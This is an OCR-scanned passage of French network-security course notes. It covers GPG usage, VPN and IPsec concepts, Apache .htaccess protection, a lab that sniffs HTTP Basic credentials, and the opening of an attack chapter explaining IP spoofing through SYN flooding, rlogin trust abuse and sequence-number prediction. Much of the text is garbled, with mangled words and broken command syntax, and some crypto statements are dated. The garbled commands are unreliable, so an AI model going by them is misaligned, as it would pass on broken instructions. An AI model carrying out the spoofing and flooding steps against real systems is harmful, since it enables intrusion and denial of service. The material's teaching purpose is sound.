-0 ——output utiliser comme fichier de sortie
——export exporter les clés

-r ——recipient NOM chiffrer pour NOM

-e ——encrypt chiffrer les données
——decrypt-files [fich.] déchiffrer les fichiers

-u ——local-user utiliser ce nom pour signer ou déchiffrer
——clearsign [fichier] faire une signature en texte clair

16.2.4 Utilisation en binbme

— Importer la clé publique de votre voisigpg -v. ——import “monvaoisin.txt”

— Valider son identitégpg ——edit-key “monvoisin” , entrez lacommandeust  puis sélec-
tionner le choix 5 pour indiquer que vous lui faites une cartf@aaveugle. Entrez la commargigt
pour arréter.

— Encrypter un fichier avec la clé publique de votre voisimraar lui le fichier pour qu'il le décrypte.

— Signer un fichier avec votre signature et demander a voisenae contréler celle-ci.

: Aide
‘& — L'option -v permet d’avoir des informations complémentaires lors dedtution d’'une commande
WX 9prg
— Lescommandegpg ——list-keys  ,gpg ——list-public-keys etgpg ——list-secret-keys

permettent de voir les clés de votre trousseau.

16.2.5 Réponse des Travaux Pratiques en Binbme

Encrypter un fichier avec la clé publique de votre voisin, mamui le fichier pour qu’il le décrypte.
— Utilisateur gpg ——recipient clepubliqueduvoisin -output texte.gpg -encryp t
texte.txt — >texte.gpg contient maintenenant le fichier crypté.
— Voisin :gpg ——decrypt texte.gpg
Signer un fichier avec votre signature et demander a votrsivadie contrdler celle-ci.
— Utilisateur .gpg ——local-user cleprivéeautiliser ——clearsign message.txt
— > un fichiermessage.txt.asc contient maintenant la signature en plus du texte.
— \Voisin :gpg ——Vverify .asc

16.2.6 Complément d’'information
Serveur de clés

Nous voyons trés bien qu'il serait plus agréable de cestales clés publiques sur un serveur. C'est ce
gue font les serveurs suivants :

— wwwkeys.pgp.net
— www.keyserver.net
— pgp.mit.edu

Certificat de révocation

Vous pouvez déposer votre clé sur I'un des serveurs mais tuae autre chose il faut prévoir le fait de
pouvoir invalider votre clé a I'aide d’'un certificat de réabion :


wwwkeys.pgp.net
www.keyserver.net
pgp.mit.edu
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gpg ——gen-revoke  ——output certificat.asc key_id

oukey id représente I'identifiant de la clé pour laquelle vous désiréer le certificat de révocation.

Une fois votre certificat de révocation créé, vous pouveg sanci déposer votre clé sur le serveur de votre
choix :

gpg ——keyserver nomduserver ——send-keys key id

Suppression d’une clé du trousseau

Il peut arriver de faire des erreurs ou bien que le temps pE<pge certaines clés ne soient plus valides,
il faut donc les supprimer du trousseau. Pour se faire, leixst de lister les clés pour pouvoir visualiser
les UIDs :

gpg —-list-keys ce quidonne :

[stage@rh3 stage]$ gpg --list-keys

gpg: Avertissement: l'utilisation de la mA ©moire n'est pas sA»re !
gpg: voir http://www.gnupg.org/fr/fag.html pour plus d'i nformations

/home/stage/.gnupg/pubring.gpg

pub 1024D/8C30403C 2004-09-29 Superman (Clark Kent) <supe rman@krypton.fr>
sub 1024g/08797651 2004-09-29 [expire: 2004-09-30]
Puis utiliser les commandes :
— gpg ——delete-secret-key UID : pour supprimer une clé privée
— gpg ——delete-key UID  : pour supprimer une clé publique
Ce qui nous donne :

[stage@rh3 stage]$ gpg --delete-secret-key 08797651

gpg (GnuPG) 1.0.7; Copyright (C) 2002 Free Software Foundat ion, Inc.
This program comes with ABSOLUTELY NO WARRANTY.

This is free software, and you are welcome to redistribute it

under certain conditions. See the file COPYING for details.

gpg: Avertissement: I'utilisation de la mémoire n'est pas s are !
gpg: voir http://www.gnupg.org/fr/faq.html pour plus d’i nformations
sec 1024D/8C30403C 2004-09-29  Superman (Clark Kent) <supe rman@krypton.fr>

Enlever cette clé du porte-clés ? o

[stage@rh3 stage]$ gpg --delete-key 8C30403C

gpg (GnuPG) 1.0.7; Copyright (C) 2002 Free Software Foundat ion, Inc.
This program comes with ABSOLUTELY NO WARRANTY.

This is free software, and you are welcome to redistribute it

under certain conditions. See the file COPYING for details.

gpg: Avertissement: I'utilisation de la mémoire n'est pas s are !
gpg: voir http://www.gnupg.org/fr/faq.html pour plus d’i nformations
pub 1024D/8C30403C 2004-09-29  Superman (Clark Kent) <supe rman@krypton.fr>

Enlever cette clé du porte-clés ? o

Attention : Il est nécessaire de supprimer la clé privée avant la cléquhl
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Les Réseaux Prives Virtuels (RPV ou
VPN)[13]

17.1 Introduction
17.1.1 Qu’est-ce qu'un VPN ?

Un VPN (Virtual Private Network) est une liaison sécuriséére 2 parties via un réseau public, en
général Internet. Cette technique assure I'authentifinatés 2 parties, I'intégrité des données et le chiffrage
de celles-ci.

Les 3 grands cas d'utilisation de VPN sont les suivants :
— Raccordement de télétravailleurs ou travailleurs mebieux-ci se raccordent aux ressources de
I'entreprise par modem, RNIS ou xDSL

— Interconnexion de succursales. Des sites distants d’'w@raarentreprise partagent les méme res-

sources sans avoir recours a des lignes spécialisées (LS).

— Exploitation de réseaux extranets. Ce segment trouvessifigation dans I'essor probable du com-

merce électronique.

La figure ci-dessous illustre le principe des VPN

17.1.2 Pourquoi utiliser un VPN ?

La principale raison pour implémenter un VPN est I'économipposée par rapport a tout autre type
de connexion. Bien que les VPN nécessitent I'acquisitioprdeuits matériels et logiciels supplémentaires,
le colt & terme de ce genre de communication est moindretréfaise ne paye que l'acces a I'Internet
via son ISP (tarif local) et non une communication natiord#as le cas d’une liaison RNIS ou un forfait
dans le cas d’'une Liaison Spécialisée. La technologie VRIdyse de méme la sécurité lors des connexions
d'utilisateurs distants au réseau interne de I'entreprise

17.2 Fonctionnement des VPN

17.2.1 Linterconnexion

Une connexion VPN met en jeu les composants suivants :
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Shared or public
network

Logical
Equivalent

-
x
g

FIG. 17.1 — Principe d'un VPN
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Serveur VPN

Un ordinateur qui accepte des connexions VPN de clients iBNserveur VPN peut fournir une
connexion VPN acceés distant ou une connexion VPN routeunizuo.

Client VPN

Un ordinateur qui initie une connexion VPN vers un serveulVEn client VPN peut étre un ordinateur
individuel qui obtient une connexion VPN accés distant otoubeur qui obtient une connexion VPN routeur
arouteur.

Tunnel

La portion de connexion dans laquelle les données sont suléss.

La connexion VPN

La portion de connexion dans laquelle les données sontébsff Pour des connexions VPN sécurisées,
les données sont chiffrées et encapsulées dans la ménmanmietia connexion.
Note : Il est possible de créer un tunnel et d’envoyer les deamlans le tunnel sans chiffrage. Ce n’est pas
une connexion VPN car les données privées sont envoyéesvausid’'un réseau partagé ou public sous une
forme non chiffrée et facilement lisible.

Protocoles

Les premiers standards utilisés furent propriétairesdage de L2F (Layer 2 Forwarding) de Cisco et
Shiva (Intel), PPTP (Point to Point Tunneling Protocol) diefdsoft et 3Com et L2TP (Layer 2 Tunneling
Protocol), fusion des 2 précédents.

Cependant, le standard actuel de niveau 3 est IPsec proépdguETF (Internet Engineering Task Force).

Ses composantes assurent :

1. la gestion et I'échange des clés entre 2 passerelles \KH: (Internet Key Exchange)
2. le chiffrement des paquets IP (ESP : Encapsulating Sgdaiyload)
3. l'authentification (AH : Authentication Header)

De plus l'utilisation de ce protocole ouvert assure, en ieédinteropérabilité d’équipements hétéro-
genes. La figure suivante schématise une connexion VPN 2sites d'une sociéteé :

YPM connection

@ : Tunnel@

Dedicated or Dedicated
Branch dial-up link to ISP Corporate

Office link ta ISP Hub

FiG. 17.2 — Connexion VPN entre 2 sites d’'une société
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17.2.2 Les concepts de base

— Tunnelisation
— Chiffrement
— Authentification

17.2.3 Latunnelisation

C’est la méthode utilisée pour faire transiter des inforamegt privées sur un réseau public. Les tunnels
sécurisés garantissent la confidentialité et I'intégréé données ainsi que I'authenticité des 2 parties.
Dans cette méthode dite d’encapsulaticimaque paquet est completement chiffré et placé a l'intérigr
d’un nouveau paquet
Les standards de la couche 2 sont PPTP (Point to Point Ttdhfeiocol) et L2F (Layer 2 Forwarding) qui
ont convergé vers un protocole unique, L2TP (Layer 2 TrahBi®tocol).

Le protocole de niveau 3 est standardisé : il s'agit de la egerascrite par I''lETF pour IP V6 et compatibles
IP V4, IPsec
Il existe 2 modes de transport distincts :

Mode Transport : il protege le contenu d'une trame IP en ignorant I'en-téte.

Utilisation:  Ce mode de transport egtnéralement utilisé entre les points terminaux d’'une conexion,
idéal pour une connexion nomade sur un réseau.

Mode Tunnel : plus performant, il crée des tunnels en encapsulant chiagme dans une enveloppe qui protége
tous les champs de la trame.

Utilisation : Il est utilisé entre 2 équipemend®nt au moins un n'est pas un équipement terminal
Les données peuvent étre chiffrées (mode ESP) ou pas ( mode Altiéal pour relier 2 réseaux distants.

17.2.4 Les 3 principaux composants d’IPsec
17.2.5 AH (Authentication Header)

: ce module garantit I'authenticité des trames IP en y ajguta champ chiffré destiné a vérifier I'au-
thenticité des données renfermées dans le datagramme.

AH - Mode Transport

En-téte 1P AH Champs de données

Authentifié exceptd pour les champs mutables de Pen-téte 1P

-

FIG. 17.3 - AH - Mode Transport

AH - Mode Tunnel
17.2.6 ESP (Encapsulating Security Header)

: ce procédé assure la confidentialité et I'authenticitéfesmations en générant des données chiffrées
sur une nouvelle trame, a partir de la trame d’origine.
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Wouvel En-téte 1P AN En-téte IP Champs de données

L Authentifie excepte pourles champs mutables du nouvel en-téte 1P
|

Fic. 17.4 — AH - Mode Tunnel

ESP - Mode Transport ;

Champs de
En-téte 1P ESP Hecrder données ESP Trailer ESP Auth
L Chitiré
Authentifie
ESP - Mode Tunnel:
Nouvel En- | Champsde | ESP Trailer
En-téte |p | ESPHeader |yaia1p | données ERACL
L Chitiré
Authentific

FiG. 17.5 — ESP (Encapsulating Security Header)

Les avantages de la tunnelisation sont multiples. Elle peda cacher la topologie du réseau, de router
des réseaux non-routables au travers d’internet et dedalirabiter des solutions VPN et pare-feu au niveau
de la couche applicative.

17.2.7 IKE (Internet Key Exchange)

: Protocole destiné a permettre le partage d’'une clé derab#éfentre émetteur et destinataire, dans le
cadre du protocole IPsec. (cf section 17.2.9 pdge : 67)

17.2.8 Le chiffrement

Le chiffrementrecommandé par I'|lETF est basé sur le stahd&r, le DES. Celui-ci présente 3 variantes,
se distinguant les unes des autres par le nombre de bit@stili
— 56-bit DES : simple, craqué en quelques minutes
— 112-bit DES (double DES) : craqué par une attaque en lignessoé, sans complexité supplémentaire
que le 56-bit
— 168-bit DES (triple DES) : basé sur 3 clés indépendantes pes aussi difficile a craquer qu’un
systéme a clé de longueur triple.
Aucun chiffrement cependant n’est sir a 100%. Le Gouverneémeéeécidé de relever le seuil de chif-
frage dont I'utilisation est libre, de 40 bits a 128 bits.

Le protocole DES, quelgu’en soit le type, est symétriquestea-dire que la méme clé de session (ou
la méme suite de 3 clés dans le cas triple DES) est utiliséeepa entités communicantes. Cette clé est
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changée de maniére aléatoire au bout d’un certain tempogeaispond a la durée de vie de cette clé.

Cependant, le probléme réside dans I'échange de la valelar dé entre les 2 entités. On le résout
grace au protocole de Diffie-Hellman. Celui-ci permet lao®agtion d’une clé unique, de maniére com-
mune. Chaque entité détermine une moitié de la clé et erm®igdrameétres permettant de calculer la moitié
manguante a l'autre entité.

Ce protocole étant asymétrique, il se base sur une pairédeutie « privée » et une « publique ».

Protocole de Diffie Hellman

On imagine 2 entités (A et B) et leur jeu de clés privée et puidi
A calcule la moitié de la future clé commune et fournit a B lasgmetres permettant de calculer cette moitié.
Il utilise la clé publique de B pour chiffrer ces parameétrekes envoie a B. Ce dernier déchiffre le paquet
recu grace a sa clé privée et calcule la moitié de clé qui luique. Il fait une opération similaire de maniére
a fournir a A sa moitié de clé.

Ainsi, les 2 entités disposent d’une clé commune de session.

La faiblesse de ce type d’échange réside dans la validit clé publique. Il s’agit de contrbler I'origine
de I'entité qui envoie la clé publique, il faut I'authentifie

Il est important de noter qu’un chiffrement basé sur unetemiumatérielle (Asic dédi€) se révele beau-
coup plus rapide que son équivalente logicielle.

17.2.9 Lauthentification

Elle est obtenue en fournissant la preuve de son identit®awe son interlocuteur. Il existe plusieurs
technologies dont voici les 3 principales :

Les certificats digitaux

Un certificat est constitué d’une clef publique et d’un derteombre de champs d’identification, le tout
signé par un tiers certificateur. En plus, un certificat @ritdes informations de gestion (numéro de série,
une date d’expiration, etc.).

lls se basent sur les recommandations X509 et permettemicde tlre d’authentifier une personne, a
la maniere d’un passeport. On fournit & une autorité defigation les informations et celle-ci retourne un
certificat digital.

Ces certificats sont composés de 2 parties : les informationsernant I'entité (nom, clé publique,
adresse physique...) et un résumé chiffré de ces infornmtie résumé de ces informations est effectué par
un algorithme de hachage tel MD5 ou SHA-1 qui retourne un mameique, numéro qui est ensuite chiffré.

Lorsqu'un certificat est transmis a une entité qui veut v@rlfauthenticité d’'une autre, elle procéde en
4 étapes :
— elle sépare les informations de I'entité et le résumé ighiff
— elle déchiffre le résumé chiffré,
— elle recalcule un résumé en utilisant le méme algorithmegM)
— elle compare le résumé calculé par ses soins et le résurhéfd&csi les résultats correspondent,
I'authenticité est prouvée.
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La figure suivante illustre ces propos :

Autorté de certification [CA) vérfication par lentité
Mom
Mom
Adresse Ad'resse
Clé Clé )
publique... publique...

L —

E Signature signature Les calculs doivent
digitale digitale cotcider !
Chiffrement Céchiffrement T
[clé privée T iclé publique —

FIG. 17.6 — Authentification par certificat

L'autorité de certification peut étre de 2 types. Elle perd ptopriétaire et fournie par le constructeur ou
bien elle peut étre externe. C'est alors une société tiets bog délégue la gestion de sa PKI (Public Key
Infrastructure). Les sociétés les plus connues sont detneht Entrust, Verisign...

Phrase challenge

Le processus est similaire a celui utilisé dans le cas desicats digitaux. La différence réside en
I'absence d'autorité de certification; les entités doivelfes méme générer leurs certificats digitaux. La
signature est alors chiffrée par une phrase challenge commux 2 entités. Il faut donc que celle-ci soit
entrée dans tous les équipements désirant communiquer.

Radius

Ce systéme utilise un serveur d’authentification RADILSrs d’'une demande de connexion d’un client
sur un équipement VPN, ce dernier demande le mot de passdeettifiant RADIUS du client. Ensuite,
I'équipement VPN utilise sa clé secréete pour vérifier I'attification aupres du serveur RADIUS.

17.3 Conclusion

De cette succincte étude, on peut dégager quelques cid@iEdection concernant les solutions VPN a
étudier :
— longueur des clés utilisées au chiffrement
algorithmes de chiffrement
algorithmes de hachage
chiffrement matériel/logiciel
nombre de connexions simultanées
type d’authentification (si certificats, interne ou exgrn
évolutivité du matériel...

1Remote Authentication Dial User Service



Chapitre 18

Protection d’un service Webl[4]

Ce chapitre parle de la protection du service Web et notarhoedun de Apache.

18.1 Introduction

Il existe beaucoup de méthodes pour sécuriser une partiesitel Web tournant sur Apache. Je vous
propose la méthode de I'htaccess parce-qu’elle est trgges(an peut ajouter des utilisateurs a la volée sans
relancer le serveur apache) mais ce n’est pas forcementllaune, c’'est simplement un choix.

18.2 Comment configurer Apache pour I'htaccess ?

Le fichier de configuration classique d’Apache est httpd.cBur certaines installation il existe égale-
ment un fichier commonhttpd.conf. Les deux se trouvent eigéilans /etc/httpd ou /etc/httpd/conf. Le
fichier qui doit étre modifié contient généralement déja desctives pour des répertoires particuliers. Ca
ressemble a ca:

<Directory /var/www/icons>
Options -Indexes MultiViews
AllowOverride None

Order allow,deny

Allow from all

</Directory>

Nous allons ajouter des directives pour le dossier que mousastons protéger comme suit :

<Directory /varfiwww/>
AllowOverride AuthConfig
</Directory>

Ici je souhaite que le dossier /var/lwww/ accepte la direcfillowOverride AuthConfig. Cela implique
que tous ces sous-dossiers vont également accepter cetttv@. Que signifie AllowOverride AuthConfig ?
Tout simplement qu’Apache daignera lire votre fichier .béss si il se trouve dans le répertoire en question
(ou un de ses sous-répertoires)
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18.3 La procédure de création du fichier .htaccess

Ca se fait trés simplement avec vi par exemple, et vous lepldans le répertoire que vous souhaitez
protéger. Voici ce que vous mettez dedans :

AuthUserFile /var/www/.htpasswd
AuthName "Accés protégé"
AuthType Basic

<Limit GET POST>
Require valid-user
</Limit>

Ni plus ni moins. Attention tout de méme au chemin sur la pegeligne (/var/www/.htpasswd). Ce che-
min indique I'endroit ot vous allez caser votre fichier .pas¢ce fichier contiendra les logins et passwords
autorisés a voir les page€)n conseille généralement de le placer hors du site Web en Imiéme

18.4 La procédure de création du fichier .htpasswd

Il faut placer ce fichier la ou vous avez indiqué a .htacceds deercher. Vous le créez tout simplement
avec un éditeur de texte. Il contient une ligne par utilisagitorisé qui se décompose comme suit :

login:password
login2:password?2

etc. etc.

Ces mots de passe doivent étre cryptés. Vous obtenez le massde crypté au moyen de la commande
htpasswd. Par exemple je souhaite que I'utilisateur totéde a ma page Web avec le mot de passe 'super-
toto’, je tape la commande :

htpasswd -c /var/www/.htpasswd toto

[root@Ernest stephanel]# htpasswd -c /var/www/.htpasswd t oto
New password:

Re-type new password:

Adding password for user toto

Bien slr dans cet exemple on ne voit pas les mots de passe datdsacachent mais j'ai bien tapé
supertoto deux fois de suite. Il y a maintenant un fichierab$vd dans /var/www avec le user toto et son
mot de passe crypté.

[root@Ernest stephane]# htpasswd /var/www/.htpasswd tit [
New password:

Re-type new password:

Adding password for user titi

Imaginons maintenant que je désire qu’un utilisateur strpphtaire titi accéde a ma page. Voici la
commande pour ajouter un utilisateur a un fichier .htpassuadamt :
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[root@Ernest www]# cat .htpasswd
toto:XkAIgOK|blI8Fs
titi:e4ut7ZLiuBOIY

Si maintenant je consulte le fichier /var/www/.htpasswiljian mes deux users et leur password cryptés.

18.5 Travaux Pratiques

18.5.1 Pré-requis

Modifier votre fichier hosts de maniére a référencer la mactel’instructeur

18.5.2 Capture du Mot de Passe

Nous allons démontrer que le fait de protéger une page Welnpiade passe n’est pas suffisant.

Connectez vous sur la machine de I'instructeur http :fgi@m/protect
Lancez votre sniffer

Tapez I'utilisateur eric et le mot de passe droopy

Recherchez cette chaine dans les trames sniffées.

@ [Untitled) - Ethereal [_ 5] x]

File

Edit View Go Capture Analyze Statistics Help

EPE xRS Qe DF 2 QQQ EDHE X T©

My Fiter. || ﬂ EH Expressiun...‘ Y Clear| o &pply‘

Mo. . Time Source Destination rotocol | INfo -l
7 4. 7014 act HTTR/1.1
g 4.702203 192.165.2.128 . L2147 TCP B0 » 1141 [ACK] seg=1 Ack=4
9 4,725080 192.168.2.128 . 20147 HTTP HTTP/1.1 301 Moved Permanen
10 4.851487 192.1608.2.147 . L2.128 TCR 1141 » 80 [ACK] Seq=431 ack
11 5.004431 192.168.2.129 . 216 TCR 1116 » 4867 [PSH, ACK] Seg=
12 L.004742 1%92.168.2.16 . .2.129 TCR 4867 » 1116 [PSH, ACK] Seg=
13 5.030971 192.165.2.147 . .2.128 HTTP GET ffavicon.ico HTTR/1.1 B
44 r AntarT R T Il T T T ) 1 INE =T pTTE A 0 e aaa 2 L2

[« | 0

User-Agent: Mozilla/5.0 (windows; U; Win98; en-Us; rvil.7) Gecko/Z20040626 Firefox/0.9.14r\n =]
Accept: text/xml,application/=ml,application/xhtml+xm],text/htm];q=0.%,text/plain;g=0.8, image
Accept-Language: en-us,en;g=0.5%r\n
Accept-Encoding: gzip,deflatelrin
Accept-Charset: IS0-8855-1,utf-8;0=0.7,%;0=0.7\r\n
Keep-alive: 300%ryn
Connection: keep-alivelrin
- Authorization: Basic 2xdprzpkomSwcHk=hrin

3

Credentials: eric:droopy

W =
|‘| ““““ ﬂ
0000 00 00 35 1d 26 37 00 30 B4 3b 1c 87 08 00 45 00 LB&S.0 L L LE. =
0010 01 d& f4 5c 40 00 B0 06 7e 61 <0 aB 02 93 c0 aB P Y R P
0020 02 B0 04 75 00 50 00 f4 66 he f1 14 3c 41 50 18 FEUTI - P Y =
0030 22 38 0b 41 00 00 47 45 &84 20 2f 70 72 6f 74 65 "8.4..GE T fprote
0040 63 74 20 45 54 54 50 2f 31 Ze 31 0d 0a 48 &f 73 <t HTTR/ 1.1..Hos Ed|

[Credentials (hitp auth [P 21 D 21 W 0

FIG. 18.1 — Exemple de capture de trame (user et mot de passe)
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18.5.3 Protection par https

Le protocole HTTP n’est pas suffisant, il faut donc sécuriseplus I'accés en cryptant 'accés au ser-
veur Web par https.

Connectez vous sur la machine de l'instructeur httpsnfiian/protect
Lancez votre sniffer

Tapez I'utilisateur eric et le mot de passe droopy

Recherchez cette chaine dans les trames sniffées.

18.6 Notes sur l'installation de Apache et Apache-ssl

Sous Debian, Apache et Apache-SSL se présentent sous la fierdeux démons séparés avec 2 fichiers
de configuration distincts.
Il est donc nécessaire d’indiquer la sécurisation des t@éjpes dans les 2 fichiers de configurations::

— letc/apache/http.conf

— /etc/apache-ssl/httpd.conf
avec les directives suivantes :

<Directory /var/www/>
AllowOverride AuthConfig
</Directory>




Chapitre 19

Conclusion

Le cryptage permet de sécuriser les connexions en rendliiblg” les trames qui passent sur Internet.
Cette technique est de plus en plus utilisée. Par contre-cilie sert a rien si le mot de passe et/ou la phrase
clé sont choisis de maniére relativement banale.

On observe tout de méme des failles de sécurité dans lexplesale cryptage, il est donc nécessaire de se
mettre a jour souvent.

Le VPN a permis de faire un bond dans les relations intraeenises en reliant les différentes agences.
Certains systémes d’exploitation permettent d’accédeMpdN a votre réseau local en se branchant de
maniere dynamique dessus. Pour ma part je pense que c'd@sbpgosse faille de sécurité. Il est préférable
de laisser un espace chrooté pour ce genre de services.
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Attaques
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Chapitre 20

Introduction

Afin de pouvoir “attaquer” un serveur, il est nécessaire deis@uels sont les services qu'il octroie.
Pour les connaitre, il est possible d'utiliser un mappagepiets nommés aussi “Scan de ports”. Une fois
ces ports connus, on peut alors lancer diverses attaquesaasiverrons quelques standards.

Afin de connaitre de maniére plus précise les principes daitague, nous verrons, dans le détail, deux
d’entre elles :
— Le Buffer Overflow est une attaque systéme qui utilise lag@mmation qui lui est associée notam-
ment I'assembleur ou C.
— LIP Spoofing est une attaque au niveau réseau qui utiliseal@ére avancée les spécifications des

protocoles réseau.
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Chapitre 21

IP Spoofing [1]

21.1 Généralités

21.1.1 Présentation

L'IP spoofing est un mécanisme qui consiste a se faire passeryne personne ayant une adresse IP
attribuée, on falsifie donc I'adresse IP. Ceci n’est que tigpémergée d'un iceberg, car les mécanismes mis
en ceuvre sont en fait assez complexes.

Quels sont les acteurs lors d’'un mécanisme d’'IP spoofing ?

A :un ordinateur cible ou victime

B : un serveur ou une machine qui a confiance en A

X : une machine ayant une adresse forgée (ou spoofée)

— Z :une machine attaque

Représentation du séquencement des trames dans ce document

Temps @1 Action @2
1 A -SYN—> B

L'unité de temps représente le séquencement des tramessdefkelles doivent avoir lieu
@A symbolise la machine A
L'action représente I'information échangée

21.2 Pré-requis

Pour comprendre le fonctionnement de I'lP spoofing, miewt gmoir quelques notions sur les systemes
d’exploitation et le fonctionnement des réseaux. Les quesdgpoints suivants permettent de clarifier de fagcon
succincte les mécanismes utiles & la compréhension du sgoofi

Relations de confiance : Dans le monde informatique, il est fréquent que certainesopees aient
des droits sur des ressources alors que d’autres persogre pas acces.

Rlogin:  Ce protocole client serveur basé sur TCP permet de se cemmiehe machine A sur une
machine B a distance et cela en tenant compte de la relatioordf@ance, c’est a dire que si le client est
identifié (par son adresse IP) dans ce cas, on ne lui demasde paot de passe, la connexion est directement
établie.
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IP: Comme IP travaille en mode datagramme, il n'y a pas de maidiéeconnexion fait a ce niveau.

La couche IP est chargée de router les datagrammes sanscgr shde la destination, ni de la source du
datagramme. On voit bien ici que la falsification d’un dasegme IP ne I'empéche pas de circuler sur le
réseau.

TCP: TCP estfiable et orienté connexion. Plusieurs mécanismiggaéé sont présents mais seule-
ment deux ont de I'importance pour ce présent document gigéestcement des paquets et leur acquittement.
Ces mécanismes rendent I'en-téte TCP nettement plus lifidalsifier que le datagramme IP.

Séquencement et acquittement : En affectant un numéro de séquence a chaque paquet TCP et en
demandant un acquittement a la réception, il est possiblé-@enettre les paquets perdus. Les numéros
de séquence servent au récepteur pour ordonner les paggess Ainsi, méme en passant par des routes
différentes les paquets TCP sont automatiquement réoédohes numéros de séquence sont codés sur un
champ de 32 bits. Chaque champ comprend le numéro de séqieshqeatres premiers octets de donnée.
Le numéro d’acquittement d’'une entité attend toujours lméw de séquence de l'autre entité.

Etablissement de connexion TCP : Un mécanisme basé sur TCP comme une connexion d’un client
Rlogin de la machine A sur un démon Rlogin sur la machine Buiad@mme-suit :

Temps @1 Action @2
1 A —SYN—> B
2 A <-ACK/SYN- B
3 A —ACK—> B

En (1) le client demande une connexion au serveur en posditgrson numéro de séquence dans I'en-
téte TCP. Pour cela, il utilise le ISN (initial sequence nembA la réception de ce paquet (2), le serveur
répond avec ses bits SYN et ACK, il place également son ISI¥$ Hantéte et un numéro d’acquittement
(qui correpond a ISN+1 du client). Le client accepte I'lSNveair (3). Dés lors, les transferts peuvent
commencer.

Incrémentation de numéro de séquence et ISN Au démarrage de la machine, I'ISN est initialisé a
1. A chaque seconde écoulée, I'ISN s’incrémente de 128 O@@lkeaque connexion établie il s'incrémente
également de 64 000. Ce mécanisme d’incrémentation autpreast utilisé pour éviter qu'une ancienne
connexion TCP établie vienne perturber (par un nombre daéksimportant) une connexion TCP avec des
numeéros de séquence trop proches.

Ports:  Pour autoriser plusieurs connexions simultanées, TCBeutles ports. Ces ports sont utilisés
par la pile IP pour identifier les communications réseau. Kiogs avec une adresse IP, les ports TCP per-
mettent ainsi d’identifier clairement l'utilisation du paef et sa destination. Pour identifier les serveurs, on
leur attribue des numéros de port spécifiques suivant lécgdiourni, comme par exemple le port 513 pour
le rlogin.

21.3 Lattaque
21.3.1 En bref

L'IP spoofing nécessite plusieurs étapes. Premiéremaitadiuant doit choisir sa victime (un serveur).
Ensuite, il doit trouver une configuration pour laquelle letime autorise une connexion avec une machine
de confiance. L'intérét réside alors dans le but de se faissgvgpour cette machine autorisée. Pour cela,
la machine autorisée est rendue invalide (pour ne pas poréagir), les numéros de séquence du serveur
sont analysés. Une connexion simulée avec des paquefigfatta I'attaquant est alors demandée au serveur
avec des numéros de séquence devinés. Si la connexion@i, ét@taquant modifie alors des informations
pour permettre de revenir plus facilement ultérieurement.

21.3.2 En détails

En général, une attaque par IP spoofing est menée d’un coogitears un autre compte root.
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’ Réseau 13472150 J

Hacker % D I_

i zource ;19472159 Accepte Pozte de travail
i zource 194 7215% Serveur
Refuze le reste

FiG. 21.1 — Principe du spoofing

Attaque al'aveugle: Un point qu’il ne faut pas oublier dans I'lP spoofing est quediaques se font
en aveugle. En effet, comme I'attaguant subtilise I'idi&ndi'une machine de confiance pour contourner la
sécurité d’'un serveur, les datagrammes renvoyés par lelgesont a destination de la machine de confiance
(qui a été invalidée) car les datagrammes IP fonctionnerg sannexion, donc I'attaquant ne les voit ja-
mais. Comme la machine de confiance a été au préalable remshgrationnelle, elle n’est pas capable de
répondre aux datagrammes recus et c’est donc a l'attaqié&re duffisamment documenté sur I'état de la
communication des machines pour pouvoir prédire ce queVeseattend en retour.

21.3.3 Configuration de confiance

Une fois que la cible a été choisie, encore faut-il que callaecepte tout utilisateur comme ayant
certains droits, sinon, l'attaque prend fin ici. Cela peupas étre facile mais des commandes telles que
'showmount -e 'ou’rpcinfo ' peuvent aider dans cette tache, le but étant ici de réculgneaximum
d’informations.

21.3.4 Invalidation de la machine de confiance

Pour éviter que la machine de confiance ne puisse répondenaus lorsque celui-ci répond aux da-
tagrammes falsifiés, il est important d’'invalider la maehite confiance. Ceci est généralement effectué par
le biais d’'un mécanisme appelé TCP SYN flooding (connexionsiasse). Quand une connexion est de-
mandée avec le bit SYN activé, le récepteur renvoie un SYM/ACattend le ACK de la part de I'émetteur.
Tant que I'émetteur n’a pas renvoyé son ACK, la connexiostrpas établie. Il y a cependant une limite du
nombre de requétes SYN qui peuvent étre effectuées sur ume sicket, cette limite s'appelle le backlog
et représente la longueur de la file d’'attente des transmnisshcompléetes. Si cette limite est atteinte, les
futures connexions TCP sont tout simplement ignorées jasmpique des connexions en attente soient éta-
blies. L'implémentation du backlog dépend du systeme dt@tqiion mais est couramment de 5. L'attaquant
envoie ainsi plusieurs requétes SYN sur le port TCP qu'ald invalider. L'attaquant doit s’assurer que les
paquets envoyés sont encore une fois falsifiés comme provvdiige machine inatteignable (unreachable
host) car sinon celle-ci renverrait un ReSeT (bit RST positée) a chaque SYN/ACK ce qui rendrait vains
tous les efforts. L'attaque a lieu comme suit :
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Temps @1 Action @2
1 Z(X) —SYN—> B
2 center>Z(X) —-SYN—> B
3 Z(X) —-SYN—> B
M X <-ACK/SYN- B
M+1 X <-ACK/SYN- B
N X <-RST- B

En (1), I'attaquant envoie toute une multitude de requé¥s SBour remplir le backlog.
En (M), la cible renvoie des paquets TCP SYN/ACK a ce qu'eltét@tre I'émetteur. Cette phase dure un
petit moment et pendant ce temps, aucune connexion surtl@ @érutilisé n’est prise en compte. En (N),
lorsqu’un certain temps s’est écoulé la machine cible @édidnnuler la connexion.

21.3.5 Echantillonnage des numéros de séquence et prédicti

L'attaquant doit avoir une idée du nombre contenu dans leémame séquence de la cible (le serveur),
pour cela il va se connecter sur un port TCP de la machine @@hleexemple SMTP) et analyser les trames
qui transitent. Ce processus est recommencé plusieurstféi€haque fois on conserve le numéro de sé-
qguence de la cible de facon a établir des statistiques serémentation (dépendant du temps de transfert).
L'attaquant possede alors toutes les clés : le dernier udeséquence émis, les données de changement
ISN (128 000/seconde et 64 000/connexion) et le temps recesAuUsSItOt aprés avoir pris connaissance
de ces parametres, I'attaque est lancée. Plusieurs casmielors se produire :

— le numéro d’acknowledge correspond parfaitement, et darss les données sont placées en attente

dans le buffer TCP

— si le numéro d’acquittement est inférieur au numéro atteabbrs le paquet est supprimé (considéré

comme une ré-émission)

— si le numéro est supérieur a ce qui est attendu mais resgelaléimite acceptable par la fenétre de

transmission, dans ce cas il est maintenu en attente destgdgtermédiaires sinon il est purement
supprimé. Voici le mécanisme de I'attaque :

Temps @1 Action @72
1 Z(A) —SYN—> B
2 A <-ACK/SYN- B
3 Z(A) —ACK—> B
4 Z(A) —PUSH—> B

En (1), l'attaquant simule I'adresse IP de la personne ddiamee (qui subit une attaque de déni de
service) et envoie sa connexion sur le port 513 (Rlogin eptus utilisé) de la victime. En (2), la cible
répond a la machine falsifiée qu’elle autorise la commuignaComme la machine falsifiée est " un peu
